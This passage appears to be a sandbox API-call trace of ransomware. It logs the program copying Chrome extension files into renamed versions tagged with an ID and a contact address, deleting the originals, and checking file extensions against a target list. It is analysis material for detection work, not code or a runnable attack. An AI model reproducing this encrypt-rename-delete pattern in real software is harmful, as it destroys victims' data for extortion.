(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.094] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.094] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.095] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.257] GetLastError () returned 0x0 [0174.257] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x2bd5, lpOverlapped=0x0) returned 1 [0174.259] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x2be0, lpOverlapped=0x0) returned 1 [0174.260] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.260] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x100, lpOverlapped=0x0) returned 1 [0174.260] SetEndOfFile (hFile=0x1b4) returned 1 [0174.260] CloseHandle (hObject=0x1b4) returned 1 [0174.261] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.261] SetEndOfFile (hFile=0x334) returned 1 [0174.261] CloseHandle (hObject=0x334) returned 1 [0174.262] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.262] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json")) returned 1 [0174.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.262] lstrlenW (lpString=".doc") returned 4 [0174.262] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.262] lstrlenW (lpString=".docx") returned 5 [0174.262] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.262] lstrlenW (lpString=".pdf") returned 4 [0174.262] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.262] lstrlenW (lpString=".xls") returned 4 [0174.262] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.262] lstrlenW (lpString=".xlsx") returned 5 [0174.262] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.262] lstrlenW (lpString=".ppt") returned 4 [0174.262] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.262] lstrlenW (lpString=".zip") returned 4 [0174.263] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.263] lstrlenW (lpString=".rar") returned 4 [0174.263] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.263] lstrlenW (lpString=".bz2") returned 4 [0174.263] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.263] lstrlenW (lpString=".7z") returned 3 [0174.263] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.263] lstrlenW (lpString=".dbf") returned 4 [0174.263] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.263] lstrlenW (lpString=".1cd") returned 4 [0174.263] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.263] lstrlenW (lpString=".jpg") returned 4 [0174.263] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.263] lstrlenW (lpString=".doc") returned 4 [0174.263] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.263] lstrlenW (lpString=".docx") returned 5 [0174.263] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.263] lstrlenW (lpString=".pdf") returned 4 [0174.263] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.263] lstrlenW (lpString=".xls") returned 4 [0174.263] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.263] lstrlenW (lpString=".xlsx") returned 5 [0174.263] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.263] lstrlenW (lpString=".ppt") returned 4 [0174.263] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.264] lstrlenW (lpString=".zip") returned 4 [0174.264] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.264] lstrlenW (lpString=".rar") returned 4 [0174.264] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.264] lstrlenW (lpString=".bz2") returned 4 [0174.264] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.264] lstrlenW (lpString=".7z") returned 3 [0174.264] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.264] lstrlenW (lpString=".dbf") returned 4 [0174.264] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.264] lstrlenW (lpString=".1cd") returned 4 [0174.264] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 159 [0174.264] lstrlenW (lpString=".jpg") returned 4 [0174.264] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.264] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.264] lstrlenW (lpString="messages.json") returned 13 [0174.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.265] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=179) returned 1 [0174.265] CloseHandle (hObject=0x334) returned 1 [0174.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json")) returned 0x2020 [0174.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.265] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.265] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.266] GetLastError () returned 0x0 [0174.266] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.267] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.268] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.268] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.268] SetEndOfFile (hFile=0x1b4) returned 1 [0174.268] CloseHandle (hObject=0x1b4) returned 1 [0174.268] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.268] SetEndOfFile (hFile=0x334) returned 1 [0174.269] CloseHandle (hObject=0x334) returned 1 [0174.269] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.269] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json")) returned 1 [0174.269] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.269] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.269] lstrlenW (lpString=".doc") returned 4 [0174.269] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.269] lstrlenW (lpString=".docx") returned 5 [0174.269] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.269] lstrlenW (lpString=".pdf") returned 4 [0174.269] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.269] lstrlenW (lpString=".xls") returned 4 [0174.269] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.269] lstrlenW (lpString=".xlsx") returned 5 [0174.269] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.270] lstrlenW (lpString=".ppt") returned 4 [0174.270] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.270] lstrlenW (lpString=".zip") returned 4 [0174.270] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.270] lstrlenW (lpString=".rar") returned 4 [0174.270] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.270] lstrlenW (lpString=".bz2") returned 4 [0174.270] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.270] lstrlenW (lpString=".7z") returned 3 [0174.270] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.270] lstrlenW (lpString=".dbf") returned 4 [0174.270] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.270] lstrlenW (lpString=".1cd") returned 4 [0174.270] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.270] lstrlenW (lpString=".jpg") returned 4 [0174.270] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.270] lstrlenW (lpString=".doc") returned 4 [0174.270] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.270] lstrlenW (lpString=".docx") returned 5 [0174.270] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.270] lstrlenW (lpString=".pdf") returned 4 [0174.270] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.270] lstrlenW (lpString=".xls") returned 4 [0174.271] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.271] lstrlenW (lpString=".xlsx") returned 5 [0174.271] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.271] lstrlenW (lpString=".ppt") returned 4 [0174.271] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.271] lstrlenW (lpString=".zip") returned 4 [0174.271] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.271] lstrlenW (lpString=".rar") returned 4 [0174.271] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.271] lstrlenW (lpString=".bz2") returned 4 [0174.271] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.271] lstrlenW (lpString=".7z") returned 3 [0174.271] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.271] lstrlenW (lpString=".dbf") returned 4 [0174.271] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.271] lstrlenW (lpString=".1cd") returned 4 [0174.271] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 154 [0174.271] lstrlenW (lpString=".jpg") returned 4 [0174.271] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.271] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.271] lstrlenW (lpString="messages.json") returned 13 [0174.271] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.272] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=179) returned 1 [0174.272] CloseHandle (hObject=0x334) returned 1 [0174.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json")) returned 0x2020 [0174.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.273] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.273] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.274] GetLastError () returned 0x0 [0174.274] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.274] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.275] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.275] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.275] SetEndOfFile (hFile=0x1b4) returned 1 [0174.276] CloseHandle (hObject=0x1b4) returned 1 [0174.276] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.276] SetEndOfFile (hFile=0x334) returned 1 [0174.276] CloseHandle (hObject=0x334) returned 1 [0174.277] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.277] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json")) returned 1 